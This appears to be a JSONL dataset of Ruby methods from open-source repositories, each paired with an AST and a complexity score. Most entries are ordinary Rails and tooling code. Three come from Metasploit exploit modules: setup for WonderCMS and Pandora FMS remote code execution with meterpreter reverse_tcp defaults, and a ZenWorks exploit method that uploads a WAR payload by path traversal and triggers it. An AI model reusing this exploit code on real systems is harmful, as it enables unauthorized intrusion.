}\n            }\n          ]\n        ],\n        'DisclosureDate' => '2023-11-07',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']),\n      OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']),\n      OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', true])\n    ])\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WonderCMS Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"msutovsky-r7\"]},{\"type\":\"str\",\"children\":[\"Milad \\\"Ex3ptionaL\\\" Karimi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://nvd.nist.gov/vuln/detail/CVE-2023-41425\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-41425\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"52271\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"php/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-11-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to the WonderCMS application\"]},{\"type\":\"str\",\"children\":[\"/wondercms\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to log into WonderCMS\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"CLEANUP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Enable payload file cleanup\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"fd346a61-3044-4c60-8aa2-961926066574"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/spec/features/support/board_list_page.rb","start_line":37,"raw_source":"def expect_create_button\n      expect(page).to have_test_selector \"add-board-button\"\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_create_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_test_selector\",{\"type\":\"str\",\"children\":[\"add-board-button\"]}]}]}]}","id":"b014c9b8-0f6c-4d65-9de6-1a51eebd56d3"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/storefront_helper.rb","start_line":22,"raw_source":"def spree_storefront_base_cache_scope\n      ->(record = nil) { [*spree_storefront_base_cache_key, record].compact_blank }\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"spree_storefront_base_cache_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"record\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_storefront_base_cache_key\"]}]},{\"type\":\"lvar\",\"children\":[\"record\"]}]},\"compact_blank\"]}]}]}","id":"5ec91ed2-8249-4e26-8a55-ee9aea5a11cb"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/copyright.rb","start_line":72,"raw_source":"def insert_notice_before(processed_source)\n          token_index = 0\n          token_index += 1 if shebang_token?(processed_source, token_index)\n          token_index += 1 if encoding_token?(processed_source, token_index)\n          processed_source.tokens[token_index]\n        end","complexity_score":12.25,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_notice_before\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"processed_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token_index\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shebang_token?\",{\"type\":\"lvar\",\"children\":[\"processed_source\"]},{\"type\":\"lvar\",\"children\":[\"token_index\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encoding_token?\",{\"type\":\"lvar\",\"children\":[\"processed_source\"]},{\"type\":\"lvar\",\"children\":[\"token_index\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"tokens\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"token_index\"]}]}]}]}","id":"5d00e6d2-00f1-4e98-8f42-b084065e5b4d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/active_session.rb","start_line":62,"raw_source":"def id\n    session_private_id.presence || session_id\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_private_id\"]},\"presence\"]},{\"type\":\"send\",\"children\":[null,\"session_id\"]}]}]}","id":"ea92592a-d9cb-4b81-91c0-df664194e879"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/jive.rb","start_line":123,"raw_source":"def import_groups\n    puts \"\", \"importing groups...\"\n\n    rows = []\n    csv_parse(\"groups\") { |row| rows << { id: row.groupid, name: row.name } }\n\n    create_groups(rows) { |row| row }\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"import_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing groups...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csv_parse\",{\"type\":\"str\",\"children\":[\"groups\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"groupid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"name\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_groups\",{\"type\":\"lvar\",\"children\":[\"rows\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]}","id":"d04c7787-f97f-4055-a3fb-7d3759f82811"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pandora_ping_cmd_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Pandora FMS Ping Authenticated Remote Code Execution',\n        'Description' => %q{\n          This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.\n          net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.\n        },\n        'Author' => [\n          'Onur ER <onur@onurer.net>' # Vulnerability discovery and Metasploit module\n        ],\n        'DisclosureDate' => '2020-03-09',\n        'License' => MSF_LICENSE,\n        'Platform' => 'linux',\n        'Arch' => [ARCH_X86, ARCH_X64],\n        'Privileged' => false,\n        'Targets' => [\n          ['Automatic Target', {}]\n        ],\n        'DefaultOptions' => {\n          'Payload' => 'linux/x86/meterpreter/reverse_tcp'\n        },\n        'DefaultTarget' => 0,\n        'References' => [\n          [ 'CVE', '2025-34088' ]\n        ],\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),\n        OptString.new('USERNAME', [true, 'The username to authenticate with']),\n        OptString.new('PASSWORD', [true, 'The password to authenticate with'])\n      ]\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Pandora FMS Ping Authenticated Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.\\n\"]},{\"type\":\"str\",\"children\":[\"          net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Onur ER <onur@onurer.net>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-03-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"linux/x86/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2025-34088\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI of the vulnerable Pandora FMS instance\"]},{\"type\":\"str\",\"children\":[\"/pandora_console/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate with\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]}]}]}]}]}]}]}","id":"a7c1414c-2bfe-4260-af8d-cdec7e82fb1b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/milestones_controller.rb","start_line":169,"raw_source":"def milestone\n    @noteable = @milestone ||= @project.milestones.find_by!(iid: params[:id])\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@noteable\",{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@milestone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"milestones\"]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}]}","id":"bfaf640d-1ea0-4702-bf25-7f0801030722"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/zenworks_uploadservlet.rb","start_line":70,"raw_source":"def exploit\n    # Generate the WAR containing the EXE containing the payload\n    app_base = rand_text_alphanumeric(4 + rand(32 - 4))\n    jsp_name = rand_text_alphanumeric(8 + rand(8))\n\n    war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s\n\n    res = send_request_cgi({\n      'uri' => '/zenworks/UploadServlet',\n      'method' => 'POST',\n      'data' => war_data,\n      'headers' => {\n        'Content-Type' => 'application/octet-stream',\n      },\n      'encode_params' => false,\n      'vars_get' => {\n        'filename' => \"../../webapps/#{app_base}.war\"\n      }\n    })\n\n    print_status(\"Uploading #{war_data.length} bytes as #{app_base}.war ...\")\n\n    select(nil, nil, nil, 20)\n\n    if (res && res.code == 200)\n      print_status(\"Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...\")\n      send_request_raw(\n        {\n          'uri' => \"/#{app_base}/\" + \"#{jsp_name}\" + '.jsp',\n          'method' => 'GET',\n        }\n      )\n    else\n      print_error(\"Denied...\")\n    end\n\n    handler\n  end","complexity_score":35.13,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app_base\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[32]},\"-\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"jsp_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"war_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded_war\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_name\"]},{\"type\":\"lvar\",\"children\":[\"app_base\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jsp_name\"]},{\"type\":\"lvar\",\"children\":[\"jsp_name\"]}]}]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/zenworks/UploadServlet\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"war_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"encode_params\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"filename\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../../webapps/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_base\"]}]},{\"type\":\"str\",\"children\":[\".war\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"war_data\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_base\"]}]},{\"type\":\"str\",\"children\":[\".war ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Triggering payload at '/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_base\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jsp_name\"]}]},{\"type\":\"str\",\"children\":[\".jsp' ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_base\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jsp_name\"]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".jsp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Denied...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"e8a2a482-d978-4860-91d1-727f0b137159"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/new_topic_list_toggle_tab.rb","start_line":24,"raw_source":"def has_count?(count)\n        expected_label =\n          (\n            if count > 0\n              I18n.t(\"js.filters.new.#{@name}_with_count\", count: count)\n            else\n              I18n.t(\"js.filters.new.#{@name}\")\n            end\n          )\n\n        has_selector?(@selector, text: expected_label)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_count?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_label\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"js.filters.new.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"str\",\"children\":[\"_with_count\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"js.filters.new.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"has_selector?\",{\"type\":\"ivar\",\"children\":[\"@selector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"expected_label\"]}]}]}]}]}]}","id":"bce07936-3c63-44eb-a6ca-fddc1b2694fa"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/s3_backup_store.rb","start_line":40,"raw_source":"def download_file(filename, destination_path, failure_message = nil)\n      s3_helper.download_file(filename, destination_path, failure_message)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"download_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"destination_path\"]},{\"type\":\"optarg\",\"children\":[\"failure_message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s3_helper\"]},\"download_file\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"destination_path\"]},{\"type\":\"lvar\",\"children\":[\"failure_message\"]}]}]}","id":"ea90af2a-f256-4fc3-b90c-1c609437ef3e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/document_dynamic_eval_definition.rb","start_line":96,"raw_source":"def interpolated?(arg_node)\n          arg_node.each_child_node(:begin).any?\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"interpolated?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_node\"]},\"each_child_node\",{\"type\":\"sym\",\"children\":[\"begin\"]}]},\"any?\"]}]}","id":"8f7ac151-ab5e-4f5f-b12b-c1a4320bce1c"}
